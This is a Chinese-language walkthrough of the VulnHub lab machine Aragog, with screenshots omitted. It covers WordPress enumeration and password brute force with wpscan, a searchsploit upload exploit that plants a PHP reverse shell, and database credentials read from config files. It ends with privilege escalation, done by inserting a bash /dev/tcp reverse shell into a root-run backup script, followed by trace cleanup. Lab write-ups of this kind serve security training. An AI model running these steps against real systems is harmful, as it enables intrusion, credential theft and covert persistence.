vulnhub靶场【哈利波特】三部曲之Aragog

前言

使用virtual box虚拟机

靶机：Aragog : 192.168.1.101

攻击：kali : 192.168.1.16

主机发现

使用arp-scan -l扫描，在同一虚拟网卡下

在这里插入图片描述

信息收集

使用`nmap`扫描

在这里插入图片描述

发现22端口SSH服务，openssh

80端口HTTP服务，Apache 2.4.38

系统为Linux 4.x|5.x

对于80端口进一步收集信息

访问80端口查看

在这里插入图片描述

一张海报，下载查看有无隐藏信息，也不知到密码，所以直接回车，发现没有信息

在这里插入图片描述

扫描网站目录

使用dirsearch、gobuster、dirb、dirbuster、ffuf等工具都可以

在这里插入图片描述

使用whatweb进行探测，结合前面的wp-login.php，确定是wordpress的CMS

在这里插入图片描述

使用wpscan专门针对wordpress的工具进行探测，发现有xmlrpc.php文件，说明可能存在用户枚举等，直接再使用该工具进行枚举

在这里插入图片描述

wpscan --url http://192.168.1.101 -e u -P /usr/share/wordlists/rockyou.txt

这个是把从wordpress中枚举的用户，使用密码字典进行对用户的爆破

使用这个命令破解需要时间，可以先访问wp-admin界面查看，发现有问题，这里访问的是域名了

在这里插入图片描述

修改/etc/hosts文件，把域名与ip绑定一起

在这里插入图片描述

再次访问wp-admin，成功访问

在这里插入图片描述

那么前面在进行密码破解时，可能就有问题了，因为之前没有进行域名绑定，并且这里是通过域名进行直接访问的，IP访问是进行的跳转，所以，对于密码爆破，重新进行

把url地址改为域名wordpress.aragog.hogwarts即可，其余不用变动

wpscan --url http://word.press.aragog.hogwarts -e u -P 【字典路径】

这次出的东西就增加许多，这里指出一个使用主题，版本过低

在这里插入图片描述

但是因为是密码爆破，所以时间还是长，让他在那继续爆破，继续寻找其他地方。这里经过漫长的时间，一直没有成功，所以可能这里并不存在

寻找其他方法，尝试枚举插件plugins和主题theme等，检测模式等需要改成主动的，具有侵略性的，不然可能会忽略掉一些，上面大部分还是passive被动收集的

漏洞寻找及利用

wpscan --url http://wordpress.aragog.hogwarts/blog -e ap --detection-mode aggressie --plugins-detection-mode aggressive

在这里插入图片描述

有提示，说是版本的问题，这里有的可能不准确，所以还是需要自己去认证，这里直接搜索，看有无该漏洞，可以使用searchsploit或者msf都可以

在这里插入图片描述

直接定位该文件的位置locate，然后复制到当前目录并重命名，方便使用

在这里插入图片描述

可以查看该脚本文件，里面有用法

在这里插入图片描述

在使用该脚本时，会有提示，需要先安装jq的，直接使用apt安装即可。检测到是有漏洞的，开始下一步

在这里插入图片描述

首先这里确定是php脚本语言的，然后这里使用kali自带的一个webshell，路径在/usr/share/webshell/php/php-reverse-shell.php文件，修改其中的监听IP和端口即可

在这里插入图片描述

执行file.sh脚本中的用法，进行上传

bash file.sh -u http://wordpress.aragog.hogwarts/blog -f /usr/share/webshells/php/php-reverse-shell.php --verbose

在这里插入图片描述

可以看到这里的提示，和用法中的一样，表示上传成功，使用kali开启监听1234端口，然后浏览器进行访问，可以发现成功反弹shell

在这里插入图片描述

开始寻找文件，这里可以自己尝试获取交互式界面，我这里就不操作了，可以测试python或者bash和sh等

在这里插入图片描述

提权

寻找wordpress目录

这里解密后说是"谁的日记被哈里在哪里秘密的摧毁了"，则，没有用处，发现在平常的/var/www/html目录下，并不存在wordpress的目录，使用find寻找，可以看到这里的有wp的一些常见目录，去目录下查看

在这里插入图片描述

找对目录了

在这里插入图片描述

查看配置文件wp-config.php

一直指向一个目录下的文件，等下去查看

在这里插入图片描述

这里还提供的连接数据库的库名和用户名，但是没有直接给出密码

在这里插入图片描述

切换/etc/wordpress目录，并查看

在这里插入图片描述

这里有了连接数据库的具体信息，查看端口信息

在这里插入图片描述

连接数据库

使用命令连接数据库

mysql -h localhost -P 3306 -uroot -pmySecr3tPass

查看数据库中的信息

在这里插入图片描述

可以发现这里的用户hagrid98在网站wordpress中的显示就是WP-Admin，解密这个密码即可，如果有加盐salt等时，再搜索一遍，看能否找到加密算法等，这里直接可以通过md5解密，但是竟然要收费，这不行啊。

在这里插入图片描述

换了一个网站进行解密https://www.somd5.com/

在这里插入图片描述

登录hagrid98

这里就获取用户hagrid98的密码，使用ssh连接

在这里插入图片描述

使用find / -perm -u=s -type f 2>/dev/null未发现有可利用的命令进行提取

使用find寻找可能的一些文件，如*pass*、*user*、*back*等

找到一个隐藏的备份，这要看看

在这里插入图片描述

发现该文件具有可读可写可执行，对于用户hagrid98，执行测试发现是复制

在这里插入图片描述

再查看具体的代码，

在这里插入图片描述

cp参数:

-r 或 --recursive：用于复制目录及其所有的子目录和文件，如果要复制目录，需要使用该选项。

很明显，就是备份文件到临时目录中，这个备份应该会执行，至于是手工还是定时，不得而知，不过可以在这个代码中进行插入，使得可以获得root的shell。插入下面命令

bash -i >& /dev/tcp/192.168.1.16/8888 0>&1

在这里插入图片描述

登录root

然后在kali中开启监听8888端口，即可发现反弹成功

在这里插入图片描述

清除痕迹

在这里插入图片描述

总结

对于网站目录的识别，常见的CMS要大概清楚
使用wpscan针对扫描wordpress时，可以扫描主题插件等
对于searchsploit的利用，要会复现
善用find命令可以使得步骤等非一般的提升
对于文件，要学会找到一些可能存在的，比如这里的指向，是指向/etc/wordpress目录的，如果文件没看清的话，就会导致寻找不到提权点
对于常见的数据库使用的加密方式可以简单了解
找不到具有SUID权限的文件时，可以寻找可能具有关键字的一些文件，常见的密码、用户名以及备份文件等
常见的提权bash指令，要知道为什么可以提权

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：/a/927454.html

如若内容造成侵权/违法违规/事实不符，请联系我们进行投诉反馈qq邮箱809451989@qq.com，一经查实，立即删除！